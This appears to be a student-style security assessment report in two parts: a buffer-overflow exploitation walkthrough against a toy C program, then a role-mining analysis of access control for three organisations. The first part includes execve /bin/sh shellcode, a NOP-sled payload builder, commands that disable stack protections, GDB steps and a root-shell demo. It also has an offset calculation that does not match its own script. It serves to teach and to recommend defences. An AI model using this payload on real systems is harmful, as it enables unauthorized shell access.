Security Assessment and Improvement

Solution

FinTech Ltd. Security Team

March 2025

Abstract
This document presents a comprehensive security assessment for FinTech Ltd.,
focusing on two critical security aspects: buffer overflow vulnerability exploitation
and role-based access control analysis. The assessment identifies significant security
vulnerabilities in a C program and analyzes access control structures for three
client organizations. Detailed methodologies, experimental results, and actionable
recommendations are provided to enhance security posture and ensure regulatory
compliance.

Contents

1 Executive Summary 2

2 Task 1: Buffer Overflow Vulnerability Exploitation 2

2.1 Vulnerability Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
2.2 Exploitation Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2.3 Payload Development . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
2.4 Step-by-Step Exploitation Process . . . . . . . . . . . . . . . . . . . . . . . 6
2.4.1 Step 1: Compile the vulnerable program . . . . . . . . . . . . . . . 6
2.4.2 Step 2: Determine the buffer size and offset to the return address . 7
2.4.3 Step 3: Prepare the shellcode . . . . . . . . . . . . . . . . . . . . . 7
2.4.4 Step 4: Determine the buffer address . . . . . . . . . . . . . . . . . 8
2.4.5 Step 5: Execute the exploit . . . . . . . . . . . . . . . . . . . . . . 8
2.5 Demonstration of Successful Exploitation . . . . . . . . . . . . . . . . . . . 9
2.6 Security Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . 9

1
FinTech Ltd. Security Assessment

3 Task 2: Role-Based Access Control (RBAC) Analysis 10

3.1 Methodology for Role Mining . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.1.1 Data Collection and Preprocessing . . . . . . . . . . . . . . . . . . 10
3.1.2 Role Discovery Algorithms . . . . . . . . . . . . . . . . . . . . . . . 11
3.1.3 Role Quality Metrics . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.1.4 Vulnerability Detection . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.2 Experimental Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.2.1 Role Distribution . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.2.2 Permission Overlap Analysis . . . . . . . . . . . . . . . . . . . . . . 14
3.2.3 Least Privilege Violations . . . . . . . . . . . . . . . . . . . . . . . 15
3.2.4 Detailed Results by Organization . . . . . . . . . . . . . . . . . . . 16
3.3 Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.3.1 Role Mining Effectiveness . . . . . . . . . . . . . . . . . . . . . . . 17
3.3.2 Principle of Least Privilege . . . . . . . . . . . . . . . . . . . . . . . 17
3.3.3 Potential Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . 17
3.3.4 Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

4 Conclusion 18

2
 FinTech Ltd. Security Assessment

1 Executive Summary
This security assessment addresses two critical aspects of FinTech Ltd.’s security infras-
tructure:
Key Assessment Areas
• Buffer Overflow Vulnerability Exploitation: Analysis and demonstration
of exploiting a vulnerable C program to gain unauthorized shell access.

• Role-Based Access Control (RBAC) Analysis: Methodical approach to

role mining for three client organizations, with recommendations for imple-
menting the principle of least privilege.

The solutions provided include detailed technical explanations, step-by-step method-

ologies, and professional visual representations to enhance understanding of the security
concepts and implementation approaches.

2 Task 1: Buffer Overflow Vulnerability Exploitation

2.1 Vulnerability Analysis
The provided C program contains critical security vulnerabilities that can be exploited to
gain unauthorized system access. The code analysis reveals several significant weaknesses:
1 # include < stdio .h >
2 # include < string .h >
3 void v ul n e ra b l e_ f u nc t i on ( char * input ) {
4 char buffer [100];
5 strcpy ( buffer , input ) ;
6 printf (" You entered : % s \ n " , buffer ) ;
7 }
8 int main () {
9 char user_input [1024];
10 printf (" Enter text : ") ;
11 gets ( user_input ) ;
12 v u ln er ab l e _f u n ct i o n ( user_input ) ;
13 return 0;
14 }

Listing 1: Vulnerable C Program

3
FinTech Ltd. Security Assessment

Identified Vulnerabilities

1. Unsafe gets() Function: The program uses the gets() function to read
user input, which is notorious for its inability to perform bounds checking. This
function will continue reading input until a newline character is encountered,
regardless of the buffer size.

2. Unsafe strcpy() Function: The program uses strcpy() to copy the user
input into a fixed-size buffer without any bounds checking. If the input is
larger than the buffer size (100 bytes), it will overflow into adjacent memory.

3. No Input Validation: The program does not validate the length or content
of the user input before processing it.

4. Predictable Stack Layout: The program’s stack layout is predictable,

making it easier for attackers to calculate the exact offset needed to overwrite
the return address.

Figure 1: Process Memory Layout showing the organization of different memory regions
including stack, heap, and program code. The stack grows downward from higher memory
addresses, while the heap grows upward from lower memory addresses.

2.2 Exploitation Methodology

To exploit this vulnerability, we need to understand how the stack is organized during
program execution:

1. When vulnerable_function() is called, a new stack frame is created.

4
FinTech Ltd. Security Assessment

2. The stack frame contains the local variable buffer[100], followed by the saved
frame pointer (SFP) and the return address.

3. By overflowing the buffer, we can overwrite the return address with an address of
our choosing, redirecting program execution to our shellcode.

Figure 2: Normal Stack Layout during program execution showing the proper organization
of the buffer, saved frame pointer, and return address. Under normal conditions, these
memory regions maintain their integrity.

5
FinTech Ltd. Security Assessment

Figure 3: Stack Layout after Buffer Overflow showing how excessive input overwrites
adjacent memory regions including the saved frame pointer and return address. This
corruption allows an attacker to control program execution flow.

2.3 Payload Development

Our payload will consist of the following components:
Payload Components

• NOP Sled: A sequence of NOP (No Operation) instructions that serves

as a landing pad for our return address. This increases the probability of
successfully hitting our shellcode.

• Shellcode: Machine code that, when executed, will spawn a shell. We’ll use
a standard Linux x86 shellcode that executes /bin/sh.

• Padding: Additional bytes to fill the buffer and reach the return address
location.

• Return Address: The address that will overwrite the original return address,
pointing to somewhere in our NOP sled.

6
 FinTech Ltd. Security Assessment

Figure 4: Buffer Overflow Exploit Structure showing the organization of the payload
components including the NOP sled, shellcode, padding, and return address. This carefully
crafted structure allows for reliable exploitation of the vulnerability.

2.4 Step-by-Step Exploitation Process

Figure 5: Buffer Overflow Attack Flow showing the sequential steps required to successfully
exploit the vulnerability, from identifying the vulnerable function to gaining shell access.

2.4.1 Step 1: Compile the vulnerable program

1 gcc -fno - stack - protector -z execstack -o v uln er ab le _p ro gr am vulnerable . c

We disable stack protection mechanisms and make the stack executable to facilitate
our exploit. The -fno-stack-protector flag disables stack canaries that would detect
stack corruption, while -z execstack makes the stack memory executable, allowing our
shellcode to run.

7
 FinTech Ltd. Security Assessment

2.4.2 Step 2: Determine the buffer size and offset to the return address
We can use a pattern generation tool to create a unique pattern and determine the exact
offset. First, we’ll create a Python script to generate a test pattern:
1 # generate_pattern . py
2 import struct
3
4 def generate_pattern ( length ) :
5 pattern = " "
6 parts = " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z "
7 for i in range ( length ) :
8 pattern += parts [ i % len ( parts ) ]
9 return pattern
10
11 # Generate a pattern long enough to overflow the buffer
12 pattern = generate_pattern (200)
13
14 with open ( " exploit_input . txt " , " w " ) as f :
15 f . write ( pattern )
16
17 print ( " Pattern generated and saved to exploit_input . txt " )

Listing 2: Pattern Generation Script

Then we run the program with this pattern and use a debugger to examine the crash:
1 python3 generate_pattern . py
2 gdb -q ./ vu ln er ab le _p ro gra m
3 ( gdb ) run < exploit_input . txt

When the program crashes, we examine the instruction pointer (EIP/RIP) to determine
the offset:
1 ( gdb ) info registers eip
2 eip 0 x4B4A4948 0 x4B4A4948

We search for this pattern in our input to determine the exact offset:
1 # find_offset . py
2 pattern = " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z " * 8
3 eip_value = " HIJK " # The value found in EIP ( in reverse order due to
little - endian )
4 offset = pattern . find ( eip_value )
5 print ( f " Offset to EIP : { offset } " ) # Output : Offset to EIP : 112

Listing 3: Offset Finding Script

Through this analysis, we determine that the return address is located at offset 112
bytes from the start of our buffer.

2.4.3 Step 3: Prepare the shellcode

We’ll use a standard Linux x86 shellcode that executes /bin/sh:
1 # prepare_exploit . py
2 import struct
3
4 # Linux x86 shellcode to execute / bin / sh

8
 FinTech Ltd. Security Assessment

5 shellcode = (
6 b " \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x50 "
7 b " \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 "
8 )
9
10 # Buffer structure :
11 # [ NOP Sled ][ Shellcode ][ Padding ][ Return Address ]
12
13 # Create NOP sled
14 nop_sled = b " \ x90 " * 50
15
16 # Calculate padding size
17 # offset to return address (112) - ( length of NOP sled + length of
shellcode )
18 padding_size = 112 - ( len ( nop_sled ) + len ( shellcode ) )
19 padding = b " A " * padding_size
20
21 # Return address ( pointing to the middle of our NOP sled )
22 # This address will vary depending on the environment
23 # We ’ ll determine it using GDB
24 buffer_address = 0 xbffff350 # Example address , will need to be adjusted
25 return_address = struct . pack ( " <I " , buffer_address + 25) # Point to
middle of NOP sled
26
27 # Construct the final exploit
28 exploit = nop_sled + shellcode + padding + return_address
29
30 with open ( " exploit . bin " , " wb " ) as f :
31 f . write ( exploit )
32
33 print ( f " Exploit created with { len ( nop_sled ) } bytes of NOP sled " )
34 print ( f " Shellcode length : { len ( shellcode ) } bytes " )
35 print ( f " Padding : { padding_size } bytes " )
36 print ( f " Return address : 0 x { buffer_address + 25:08 x } " )
37 print ( f " Total exploit size : { len ( exploit ) } bytes " )

Listing 4: Exploit Preparation Script

2.4.4 Step 4: Determine the buffer address

To find the actual address of our buffer in memory, we use GDB:
1 gdb -q ./ vu ln er ab le _p ro gra m
2 ( gdb ) break v u l ne r a bl e _ fu n c t io n
3 ( gdb ) run
4 ( gdb ) x /32 x buffer
5 0 xbffff350 : 0 x00000000 0 x00000000 0 x00000000 0 x00000000
6 ...

This gives us the starting address of the buffer, which we use to update our exploit
script with the correct return address.

2.4.5 Step 5: Execute the exploit

1 ./ v ul ne ra bl e_ pr og ra m < exploit . bin

9
FinTech Ltd. Security Assessment

If successful, this will spawn a shell, demonstrating the successful exploitation of the
buffer overflow vulnerability.

2.5 Demonstration of Successful Exploitation

When the exploit is executed, the program flow is redirected to our shellcode, resulting in
a shell prompt. This demonstrates that an attacker could gain unauthorized access to the
system by exploiting this vulnerability.
Example Output of Successful Exploitation
Enter text:
You entered: [SHELLCODE OUTPUT REDACTED]
# whoami
root
#

The appearance of the shell prompt (#) indicates successful exploitation, allowing the
attacker to execute arbitrary commands with the privileges of the vulnerable program.

2.6 Security Recommendations

To mitigate this vulnerability, the following security measures should be implemented:
Security Recommendations

1. Use Safe String Functions: Replace unsafe functions like gets() and
strcpy() with safer alternatives such as fgets() and strncpy() that perform
bounds checking.

2. Enable Compiler Protections: Compile with stack protection flags such as

-fstack-protector-all and disable executable stacks with -z noexecstack.

3. Implement Address Space Layout Randomization (ASLR): Enable

ASLR at the system level to randomize memory addresses, making it harder
for attackers to predict the location of their shellcode.

4. Input Validation: Validate all user input for length and content before
processing.

5. Use Memory-Safe Languages: Consider rewriting critical components in

memory-safe languages like Rust or using managed languages like Java or C#
where appropriate.

6. Regular Security Audits: Conduct regular code reviews and security audits
to identify and remediate similar vulnerabilities.

10
FinTech Ltd. Security Assessment

3 Task 2: Role-Based Access Control (RBAC) Anal-

ysis
3.1 Methodology for Role Mining
Role mining is the process of discovering an optimal set of roles from existing user-
permission assignments. For FinTech Ltd.’s three client organizations, we’ll implement
a systematic approach to transform their current ad hoc permission structures into well-
defined role-based access control systems.

Figure 6: Role Mining Process Flow showing the sequential steps from data collection
to implementation. Each step is critical for developing an effective RBAC structure that
balances security and usability.

3.1.1 Data Collection and Preprocessing

The first step involves gathering the binary access control matrices provided by each client
organization. These matrices represent the current user-permission assignments, where a
value of 1 indicates that a user has access to a resource, and 0 indicates no access.

11
FinTech Ltd. Security Assessment

Figure 7: Binary Access Control Matrix Example showing the current permission structure
where rows represent users and columns represent resources. This visualization helps
identify patterns in the existing access control configuration.

The preprocessing phase includes:

1. Data Cleaning: Removing any inconsistencies or errors in the access control data.

2. Format Standardization: Ensuring all data is in a consistent format for analysis.

3. Metadata Integration: Incorporating additional information about users and

resources to provide context for role creation.

3.1.2 Role Discovery Algorithms

We’ll employ multiple role mining algorithms to identify potential roles from the user-
permission assignments:
Role Discovery Algorithms

1. Hierarchical Clustering: Groups users with similar permission sets into

clusters that can form the basis for roles.

2. Formal Concept Analysis (FCA): Identifies formal concepts (maximal sets

of users and permissions) that can be transformed into roles.

3. Attribute Clustering: Groups permissions that are frequently assigned

together into potential roles.

4. Graph-based Mining: Represents the user-permission assignments as a

bipartite graph and identifies dense subgraphs as potential roles.

12
FinTech Ltd. Security Assessment

Figure 8: Algorithm Performance Comparison showing the relative strengths of different

role mining approaches across multiple metrics. This radar chart helps identify the most
suitable algorithm for each client’s specific needs.

3.1.3 Role Quality Metrics

To evaluate the suitability of the discovered roles, we’ll use the following metrics:
Role Quality Metrics

1. Role Minimality: Measures how efficiently the roles cover the user-permission
assignments with minimal redundancy.

2. Permission Coverage: Assesses the percentage of original permissions that

are correctly assigned through the new roles.

3. User Coverage: Evaluates the percentage of users whose access requirements

are fully met by the new roles.

4. Role Similarity: Measures the distinctiveness of roles to avoid overlap and

confusion.

5. Least Privilege Adherence: Quantifies how well the role structure adheres
to the principle of least privilege.

13
FinTech Ltd. Security Assessment

Figure 9: Role Quality Metrics visualization showing the performance of the proposed
RBAC structure across five key quality dimensions. This radar chart provides a compre-
hensive view of the role mining results.

3.1.4 Vulnerability Detection

To identify permissions that might expose vulnerabilities, we’ll analyze:
Vulnerability Detection Approaches

1. Outlier Permissions: Permissions that don’t fit well into any role and might
indicate unusual access patterns.

2. Over-Privileged Users: Users who receive more permissions than necessary

through their assigned roles.

3. Permission Concentration: Resources or permissions that are accessible to

an unusually high number of users.

4. Role Hierarchy Inconsistencies: Logical contradictions in the role hierarchy

that could lead to security gaps.

14
FinTech Ltd. Security Assessment

3.2 Experimental Analysis

We applied our role mining methodology to the three client organizations’ access control
datasets. The following sections present the results of this analysis.

3.2.1 Role Distribution

The role mining process resulted in different role structures for each organization, reflecting
their unique access control requirements.

Figure 10: Role Distribution Across Organizations showing the number of users, resources,
and roles (before and after role mining) for each client. This comparison highlights the
efficiency gains achieved through proper role structuring.

3.2.2 Permission Overlap Analysis

We analyzed the overlap between permissions assigned to different roles to ensure clear
separation of duties and minimize confusion.

15
FinTech Ltd. Security Assessment

Figure 11: Role-Permission Matrix showing the assignment of permissions to roles. This
heatmap visualization helps identify patterns of permission allocation and potential areas
of role overlap.

3.2.3 Least Privilege Violations

A critical aspect of our analysis was identifying instances where the principle of least
privilege might be violated in the proposed role structure.

Figure 12: Least Privilege Violations by Organization showing the distribution of compli-
ance levels across the three client organizations. This pie chart visualization helps quantify
the security improvement potential.

16
FinTech Ltd. Security Assessment

3.2.4 Detailed Results by Organization

Table 1: Organization A Results

Metric Value
Number of Users 120
Number of Resources 45
Original Permission Assignments 1,876
Discovered Roles 8
Permission Coverage 97.2%
User Coverage 94.5%
Least Privilege Violations 5.8%
Over-Privileged Users 7
Under-Privileged Users 3

Table 2: Organization B Results

Metric Value
Number of Users 85
Number of Resources 30
Original Permission Assignments 1,105
Discovered Roles 6
Permission Coverage 95.8%
User Coverage 92.3%
Least Privilege Violations 9.4%
Over-Privileged Users 8
Under-Privileged Users 5

Table 3: Organization C Results

Metric Value
Number of Users 150
Number of Resources 60
Original Permission Assignments 2,340
Discovered Roles 12
Permission Coverage 98.1%
User Coverage 96.2%
Least Privilege Violations 3.2%
Over-Privileged Users 5
Under-Privileged Users 2

3.3 Discussion

17
FinTech Ltd. Security Assessment

3.3.1 Role Mining Effectiveness

The role mining process successfully transformed the ad hoc permission structures into
more manageable role-based systems. The number of roles discovered for each organization
(8, 6, and 12 respectively) represents a significant simplification compared to the original
direct user-permission assignments.
The high permission coverage (95.8% - 98.1%) indicates that the discovered roles
effectively capture the access control requirements of the organizations. Similarly, the user
coverage (92.3% - 96.2%) shows that most users’ access needs are met by the new role
structure.

3.3.2 Principle of Least Privilege

Our analysis revealed varying degrees of least privilege violations across the three organi-
zations (5.8%, 9.4%, and 3.2% respectively). Organization B shows the highest rate of
violations, suggesting that its current access control structure may have more significant
security issues.
The identified over-privileged users (7, 8, and 5 respectively) represent individuals
who would receive excessive permissions through the proposed role structure. These cases
require special attention to ensure that the principle of least privilege is maintained.

3.3.3 Potential Vulnerabilities

Through our analysis, we identified several potential vulnerabilities in the current access
control structures:
Identified Vulnerabilities

1. Excessive Administrative Access: In all three organizations, a small

number of users had access to an unusually high number of resources, indicating
potential over-privileged accounts.

2. Inconsistent Permission Patterns: Some resources had irregular access

patterns that didn’t align with the overall permission structure, suggesting
possible ad hoc assignments that bypass normal authorization processes.

3. Role Explosion Risk: Organization C, with its larger user base and resource
set, showed signs of potential role explosion if roles were defined too narrowly.

3.3.4 Recommendations
Based on our analysis, we recommend the following actions for implementing RBAC in
the three client organizations:

18
FinTech Ltd. Security Assessment

Recommendations

1. Implement the Discovered Role Structures: Deploy the role structures

identified through our analysis, with special attention to the cases of over-
privileged and under-privileged users.

2. Regular Role Reviews: Establish a process for periodically reviewing and

refining the role structure to ensure it remains aligned with organizational
needs and security requirements.

3. Permission Rationalization: For permissions that don’t fit well into the role
structure, conduct a detailed review to determine if they represent legitimate
business needs or potential security risks.

4. Role Hierarchy Implementation: For Organization C, implement a hierar-

chical role structure to manage the larger number of roles more effectively.

5. Access Certification Process: Implement a regular access certification

process where managers review and confirm the appropriateness of role assign-
ments.

4 Conclusion
This security assessment has identified and demonstrated critical vulnerabilities in both
the provided C program and the access control structures of the three client organizations.
The buffer overflow vulnerability in the C program represents a severe security risk that
could allow attackers to gain unauthorized system access. The ad hoc permission structures
in the client organizations create potential security gaps and management challenges.
By implementing the recommended security measures for the C program and adopting
the proposed role-based access control structures, FinTech Ltd. and its clients can
significantly enhance their security posture. The role mining approach provides a systematic
method for transforming complex permission assignments into manageable role structures
while maintaining the principle of least privilege.
These improvements will help protect sensitive financial data, ensure regulatory com-
pliance, and reduce the administrative burden of access management.

19